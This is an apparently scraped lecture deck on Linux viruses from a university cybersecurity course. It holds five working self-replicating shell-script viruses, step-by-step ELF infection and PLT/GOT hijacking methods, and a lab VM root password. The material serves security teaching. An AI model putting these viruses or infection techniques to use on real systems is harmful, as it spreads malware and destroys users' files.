![第4章 計算機Linux病毒_第1頁](http://file4.renrendoc.com/view/6aa27549cd6edfcec9267d8a52dc3036/6aa27549cd6edfcec9267d8a52dc30361.gif)
![第4章 計算機Linux病毒_第2頁](http://file4.renrendoc.com/view/6aa27549cd6edfcec9267d8a52dc3036/6aa27549cd6edfcec9267d8a52dc30362.gif)
![第4章 計算機Linux病毒_第3頁](http://file4.renrendoc.com/view/6aa27549cd6edfcec9267d8a52dc3036/6aa27549cd6edfcec9267d8a52dc30363.gif)
![第4章 計算機Linux病毒_第4頁](http://file4.renrendoc.com/view/6aa27549cd6edfcec9267d8a52dc3036/6aa27549cd6edfcec9267d8a52dc30364.gif)
![第4章 計算機Linux病毒_第5頁](http://file4.renrendoc.com/view/6aa27549cd6edfcec9267d8a52dc3036/6aa27549cd6edfcec9267d8a52dc30365.gif)
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
第4章Linux病毒技術(shù)劉功申上海交通大學(xué)網(wǎng)絡(luò)空間安全學(xué)院SchoolofCyberScienceandEngineering本章的學(xué)習(xí)目標:了解Linux的安全問題掌握Linux病毒的概念掌握Linux下的腳本病毒掌握ELF病毒感染方法Linux安全嗎?一個最大的誤區(qū)就是很多高性能的安全操作系統(tǒng)可以預(yù)防計算機病毒。另一個誤區(qū)就是認為Linux系統(tǒng)尤其可以防止病毒的感染,因為Linux的程序都來自于源代碼,不是二進制格式。第三個誤區(qū)就是認為Linux系統(tǒng)是絕對安全的,因為它具有很多不同的平臺,而且每個版本的Linux系統(tǒng)有很大的不一樣。Linux病毒列表Slapper:ThemostdangerousLinuxworm;it'snetwork-awareandinAugust2002itexploitedaflawinOpenSSLlibrariesinApacheserverswithOpenSSLenabled.Bliss:Alsoawell-knownbug,itinfectsELFexecutables,locatingbinarieswithwriteaccessandoverwritesthosewithitsowncode.Staog:ConsideredthefirstLinuxvirus,itinfectsELFexecutables.Typot:ALinuxTrojanthatdoesdistributedportscanning,generatingTCPpacketswithawindowsizeof55808.Mydoom:Windowswormhavenetworkpropagationandprocessterminationcapabilitiestolaunchadenialofservice(DoS)attackon.
TNF:
ADDoSagent.MakesICMPflood,SYNflood,UDPflood,andSmurfattacks.Italsohasthecapabilityofinstallinga“rootshell”ontotheaffectedsystem.R16.A:
Deletefileinthecurrentdirectory.Overwirte/bin/cp,/bin/ls.
Create/usr/SEXLOADER,/usr/TMP001.NOT.RAMEN:
ThefirstvirusinLinux.
Overwriteallindex.htmlinthesystem.
Addtwoftpaccount“anonymous"and"ftp”inthesystem.
Additself’sscriptin/etc/rc.d/rc.sysinit.
rpc.statd(port111/udp
),wu-ftpd(port21/tcp),LPRng(port515)LINDOSE.A:
Ararecross-platformscourge,abletojumpWindowsPEandLinuxELFexecutables.It'saproof-of-conceptwormandhasnothitthewild.MSTREAM.MST:
ADDoSagent.
ItwillopenTCPport6732andUDPport9325.
Createmasterandserverfiles.ADORE.A:
Ainternetworm.
Overwrite/bin/ps.VExecutesICMP,andopensport65535.
BIND,wu-ftpd,rpc.statd,lpd.CHEESE.A:
Include"GO"shellscript,CHEESE“perlscript,and“PSM”ELF.shellscriptGOrunsperlscriptCHEESE.Deleteall/bin/shin/etc/inetd.conf.
Closeinetd.QUASI:
ItwillinfectELFfilesinthecurrentdirectory.
Ithasnodestructiveness.PASS:
ItiswritedbyGNUC.
ItwillchangeUnixshell.VirusThreatsonLinuxEnvironmentTripleLinux病毒分類第一種:Shell腳本病毒第二種:蠕蟲病毒第三種:欺騙庫函數(shù)第四種:內(nèi)核級的傳播第五種:與平臺兼容的病毒Linux系統(tǒng)下的腳本病毒shell在不同的Linux系統(tǒng)上面的差別很小。Shell簡單易學(xué)。第一,最原始的shell病毒。#shellvirusI#forfilein./infect/*docp$0$filedone第二,一個簡單的Shell病毒#shellvirusII#forfilein./infect/*doiftest-f$file#判斷是否為文件theniftest-x$file#判斷是否可執(zhí)行theniftest-w$file#判斷是否有寫權(quán)限thenifgrep–ssh$file>.mmm#判斷是否為腳本文件thencp$0$file#覆蓋當前文件fifififidonerm.mmm-f第三,具有感染機制的Shell病毒#shellvirusIII##infectionhead-n35$0>.test1#取病毒自身代碼并保存到.testforfilein./*#遍歷當前目錄中的文件doecho$filehead-n2$file>.mm#提取要感染的腳本文件的第一行ifgrepinfection.mm>.mmm#判斷是否有感染標記infectionthen#已經(jīng)被感染,則跳過echo"infectedfileandrm.mm"rm-f.mmelse#尚未感染,繼續(xù)執(zhí)行iftest-f$filethenecho"test-f"iftest-x$filethenecho"test-x"iftest-w$filethenecho"test-w"ifgrep-ssh$file>.mmmthenecho"test-sandcat..."cat$file>.SAVEE#把病毒代碼放在腳本文件的開始部分cat.test1>$file#原有代碼追加在末尾cat.SAVEE>>$file#形成含有病毒代碼的腳本文件fififififidonerm.test1.SAVEE.mmm.mm–f#清理工作第四,更加晦澀的病毒#ShellVirusIV##infectionforfilein./*;do#分號(;)表示命令分隔符iftest-f$file&&test-x$file&&test-w$file;thenifgrep-ssh$file>/dev/nul;thenhead-n2$file>.mmifgrep-sinfection.mm>/dev/nul;thenrm-f.mm;elsehead-n14$0>.SAVEEcat$file>>.SAVEEcat.SAVEE>$filefififidonerm-f.SAVEE.mm
第五,感染特定目錄的Shell病毒#ShellVirusV##infectionxtemp=$pwd#保存當前路徑head-n22$0>/.test1fordirin./*;do#遍歷當前目錄iftest-d$dir;then#如果有子目錄則進入cd$dirforfilein./*;do#遍歷該目錄文件iftest-f$file&&test-x$file&&test-w$file;thenifgrep-ssh$file>/dev/nul;thenhead-n2$file>.mmifgrep-sinfection.mm>/dev/nul;thenrm-f.mm;elsecat$file>/.SAVEE#完成感染cat/.test1>$filecat/.SAVEE>>$filefififidonecd..fidonecd$xtemprm-f/.test1/.SAVEE.mm#清理工作腳本病毒實驗(實驗十)【實驗?zāi)康摹苛私釲inux腳本型病毒的基本編制原理。了解腳本病毒的感染、破壞機制,進一步認識Linux操作系統(tǒng)下的病毒?!緦嶒灜h(huán)境】運行環(huán)境RedHatLinux操作系統(tǒng)。虛擬機FC7,賬號:root;口令:shmilymengqi虛擬機文件夾:usr/vsh【實驗步驟】文件位置:光盤盤符:\Experiment\LinuxScript。該目錄下共包含v_1.sh、v_2.sh、v_3.sh、v_4.sh、v_5.sh等5個Linux系統(tǒng)下的腳本病毒文件??截愡@些文件到Linux系統(tǒng)。修改這些病毒為可執(zhí)行文件。創(chuàng)建測試用腳本文件(例如,test.sh),根據(jù)病毒感染能力,注意測試文件的屬性、所在目錄層次等。依次執(zhí)行這5個腳本病毒,察看它們的執(zhí)行效果?!緦嶒炞⒁馐马棥勘静《境绦蛴糜趯嶒?zāi)康模埻咨剖褂?。本病毒程序具有一定的破壞力,做實驗室注意安全,推薦使用虛擬機環(huán)境。注意字符格式,防止非法字符存在于*.sh文件中。Linux可執(zhí)行文件格式(ELF)Elf也就是“ExecutableandLinkingFormat.”Elf起源于Unix,經(jīng)改進應(yīng)用于FreeBSD和Linux等現(xiàn)有類Unix操作系統(tǒng)。微軟的PE格式也學(xué)習(xí)了ELF格式的優(yōu)點。建議參考:提前學(xué)習(xí)本章的補充知識ELF格式文件病毒感染原理無關(guān)ELF格式的感染方法覆蓋式感染這種感染最初的思路很簡單,就是將病毒體直接拷貝到宿主文件中,從開始部分覆蓋宿主文件,從而宿主文件被感染成單純的病毒體,一般情況下宿主文件會遭到破壞,若要使得在病毒執(zhí)行后仍然交換控制權(quán)給宿主文件,則需要給宿主文件備份,這里的思路并不復(fù)雜只是將原宿主文件復(fù)制到一個隱藏文件,然后在病毒體執(zhí)行完之后執(zhí)行宿主文件,使得進程映像中添加的是原宿主文件的內(nèi)容。追加式感染這種感染最初的思路也很簡單,同上面那種方式不同的是將病毒體直接追加到宿主文件中,或者將宿主追加到病毒體之后,并不存在覆蓋宿主文件的行為,從而宿主文件被感染成單純的病毒體和原宿主文件的合體,在病毒文件執(zhí)行后交換控制權(quán)給宿主文件。感染過程:查找當前目錄下的可執(zhí)行文件(也可以進行小規(guī)模的目錄查找)找到可執(zhí)行文件test后,修改病毒體,使病毒執(zhí)行結(jié)束后能夠提取宿主文件到一個新文件,然后執(zhí)行這個新文件進行進程映像替換,即交還控制權(quán)給宿主文件;合并病毒體到test,不覆蓋宿主文件,但放在宿主文件內(nèi)容之前;執(zhí)行過程:病毒體先執(zhí)行病毒體執(zhí)行完后,找到病毒體尾部提取宿主文件到新文件執(zhí)行新文件利用ELF格式的感染方法與ELF格式相關(guān)的感染方法,需要根據(jù)ELF格式來改變ELF格式內(nèi)容,從而使病毒代碼和宿主代碼共存并且病毒代碼執(zhí)行結(jié)束后能順利交接控制權(quán)給宿主。向ELF文件中插入寄生病毒代碼要求宿主文件和病毒體都是完整的,因此插入的病毒代碼會造成段的使用大小增加。文本段數(shù)據(jù)段之間填充區(qū)段頁號頁內(nèi)內(nèi)容注釋文本段NTTTTTTTTTTTTTTTTTTTTTT:文本段代碼P:填充代碼D:數(shù)據(jù)段代碼N+1TTTTTTTTTTTTTTTTTPPPPP數(shù)據(jù)段N+2PPPPPPDDDDDDDDDDDDDDN+3DDDDDDDDDDDDDDDDDDD利用文本段之后填充在文本段末尾插入代碼有以下幾件事需要做:增加"ELFheader"中的p_shoff以包含新代碼定位"textsegmentprogramheader"
增加p_filesz算入新代碼 增加p_memsz算入新代碼對于文本段phdr之后的其他phdr
修正p_offset對于那些因插入寄生代碼影響偏移的每節(jié)的shdr
修正sh_offset在文件中物理地插入寄生代碼到這個位置根據(jù)ELF規(guī)范,p_vaddr和p_offset在Phdr中必須模pagesize相等。p_vaddr(modPAGE_SIZE)=p_offset(modPAGE_SIZE)感染后的情況ELFHeaderProgramheadertableSegment1(宿主文本段)寄生代碼Segment2(數(shù)據(jù)段)SectionheadertableExtrasections段頁號頁內(nèi)內(nèi)容注釋文本段NTTTTTTTTTTTTTTTTTTTTTTT:文本段代碼P:填充代碼V:病毒代碼D:數(shù)據(jù)段代碼N+1TTTTTTTTTTTTTTTTTVVVVN+2VVVPPPPPPPPPPPPPPPPPPPP數(shù)據(jù)段N+3PPPPPPDDDDDDDDDDDDDDN+4DDDDDDDDDDDDDDDDDDD數(shù)據(jù)段之后插入感染修改病毒代碼,使病毒代碼執(zhí)行后能夠跳轉(zhuǎn)到原來的入口點;定位數(shù)據(jù)段:修改ELF頭中的入口點,指向新的代碼,即數(shù)據(jù)段末尾處(p_vaddr+p_memsz);修改e_shoff字段指向新的節(jié)頭表偏移量,即原來的加上加入的病毒大小和bss段大?。粚τ跀?shù)據(jù)段程序頭: 增加p_filesz用來包括新的代碼和.bss節(jié); 增加p_memsz包含入新的代碼; 計算.bss節(jié)的大?。╬_memsz-p_filesz);對于任何一個插入點之后節(jié)的節(jié)頭shdr:
增加sh_offset,增加數(shù)值為病毒大小與.bss節(jié)大小的和;物理地插入病毒代碼到文件中:
移動節(jié)頭表以及其他兩個不屬于任何段的節(jié)。感染后的情況ELFHeaderProgramheadertableSegment1Segment2(宿主數(shù)據(jù)段)寄生代碼SectionheadertableExtrasections文本段之前插入感染修改病毒代碼使病毒代碼能夠執(zhí)行完后跳轉(zhuǎn)到原來的入口地址;修正ELF頭中的e_shoff來包含入新的代碼;定位文本段:修正文本段p_memsz和p_filesz,增大PAGESIZE大??;修正該程序頭的p_vaddrp_paddr;對任何插入點之后的段的程序頭phdr:增加p_offset來算入新的代碼;還應(yīng)修改p_vaddr,p_paddr與偏移成模運算關(guān)系;對任何插入點之后的節(jié)的節(jié)頭shdr:增加sh_offset來算入新的代碼;物理地插入病毒代碼到文件中,填充到PAGESIZE大小,將病毒體及填充插在ELF頭和程序頭表之后區(qū)域。感染后的情況ELFHeaderProgramheadertable寄生代碼Segment1(文本段)Segment2(數(shù)據(jù)段)SectionheadertableExtrasections利用函數(shù)對齊填充區(qū)感染從當前進程中取出病毒代碼,查找合適的未被感染的ELF可執(zhí)行文件作為宿主文件,并修改病毒體,使其執(zhí)行完后能夠跳轉(zhuǎn)至宿主文件代碼入口點;查找宿主文件函數(shù)填充區(qū),找到足夠大的函數(shù)填充區(qū)并記錄;將病毒體分割;將分割后的病毒放入宿主文件多個函數(shù)填充區(qū)內(nèi),并在每一塊后設(shè)置跳轉(zhuǎn)指令,使其各部分相連接;修訂入口點,使其指向病毒體入口點。利用NOTE段或者擴展.note節(jié)查找文件中的PT_NOTE類型的段,修改PT_NOTE類型段程序頭中的字段,重點字段需要修改p_type為PT_LOAD,并將其他字段修改為合適的值,然后將ELF頭中的e_entry字段修改為PT_NOTE段的p_vaddr值,即使病毒程序先于宿主程序執(zhí)行,修改病毒程序使其執(zhí)行結(jié)束后能夠跳轉(zhuǎn)到原入口地址。然后插入病毒體到文本段中相應(yīng)位置。高級感染技術(shù)上升到內(nèi)核層次的病毒感染就是高級感染,這就需要感染內(nèi)核的模塊。對Linux最致命的病毒攻擊方式就是感染Linux內(nèi)核,也就是使用Linux的LKM。LKM是Linux內(nèi)核為了擴展其功能所使用的可加載內(nèi)核模塊。LKM的優(yōu)點:動態(tài)加載,無須重新實現(xiàn)整個內(nèi)核?;诖颂匦裕琇KM常被用作特殊設(shè)備的驅(qū)動程序(或文件系統(tǒng)),如聲卡的驅(qū)動程序等等。LKM感染技術(shù)LKM在Linux操作系統(tǒng)中被廣泛使用,主要的原因就是LKM具有相對靈活的使用方式和強大的功能,可以被動態(tài)地加載,而不需要重新編譯內(nèi)核。在另一個方面,對于病毒而言,也有很多好處,比如隱藏文件和進程等,但是使用LKM是比較麻煩的,需要較高的技術(shù)要求。PLT/GOT劫持實現(xiàn)對PLT實現(xiàn)重定向的算法具體可以描述如下:將文本段修改為可寫權(quán)限;保存PLT入口點;使用新的庫調(diào)用地址替代原入口;對新的庫調(diào)用中代碼的修改:實現(xiàn)新的庫調(diào)用的功能,保存原來的PLT入口,調(diào)用原來庫調(diào)用。LinuxELF原型病毒實驗(實驗十一)【實驗?zāi)康摹苛私釲inux感染ELF可執(zhí)行文件的病毒的基本編制原理。了解可執(zhí)行文件病毒的感染、破壞機制?!緦嶒灜h(huán)境】運行環(huán)境RedHatLinux操作系統(tǒng)?!緦嶒灢襟E】文件位置:附書資源目錄\Experiment\LinuxELF。該目錄下共包含如下文件。這個病毒包含的文件有如下幾個(參考附書光盤):get_patch.sh用來修訂文件中兩個宏定義的bash腳本文件infector.c感染器程序infector.h感染器程序的頭文件MakefileMakefile文件virus.c病毒體的源文件virus.h病毒體頭文件實驗步驟(1)復(fù)制這些文件到Linux系統(tǒng)。(2)修改腳本的執(zhí)行屬性。(3)創(chuàng)建測試用可執(zhí)行程序,根據(jù)病毒感染能力,注意
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2024年有機膦類水處理劑項目資金籌措計劃書代可行性研究報告
- 環(huán)境友好型實驗空間的設(shè)計與實施策略研究
- 自我營銷學(xué)生如何通過表達展現(xiàn)個人品牌
- 教育領(lǐng)域的實驗自動化革新
- 現(xiàn)代科技驅(qū)動下的農(nóng)業(yè)園區(qū)發(fā)展研究
- 科技企業(yè)如何通過激勵機制激發(fā)員工創(chuàng)新能力
- 2025年貴州建設(shè)職業(yè)技術(shù)學(xué)院高職單招職業(yè)適應(yīng)性測試近5年??及鎱⒖碱}庫含答案解析
- 教育家庭養(yǎng)成良好的衛(wèi)生習(xí)慣的策略
- 2025年福建信息職業(yè)技術(shù)學(xué)院高職單招語文2018-2024歷年參考題庫頻考點含答案解析
- 2025年石家莊城市經(jīng)濟職業(yè)學(xué)院高職單招職業(yè)技能測試近5年??及鎱⒖碱}庫含答案解析
- 外觀判定標準
- 江西上饒市2025屆數(shù)學(xué)高二上期末檢測試題含解析
- 腦卒中后吞咽障礙患者進食護理團體標準
- 工行人工智能風(fēng)控
- 2023風(fēng)電機組預(yù)應(yīng)力混凝土塔筒與基礎(chǔ)結(jié)構(gòu)設(shè)計標準
- 小學(xué)語文閱讀教學(xué)落實學(xué)生核心素養(yǎng)方法的研究-結(jié)題報告
- 一年級的成長歷程
- 2024年南京鐵道職業(yè)技術(shù)學(xué)院高職單招(英語/數(shù)學(xué)/語文)筆試歷年參考題庫含答案解析
- 正月十五元宵節(jié)介紹課件
- 病毒性肺炎疾病演示課件
- 中考英語語法填空專項練習(xí)附答案(已排版-可直接打印)
評論
0/150
提交評論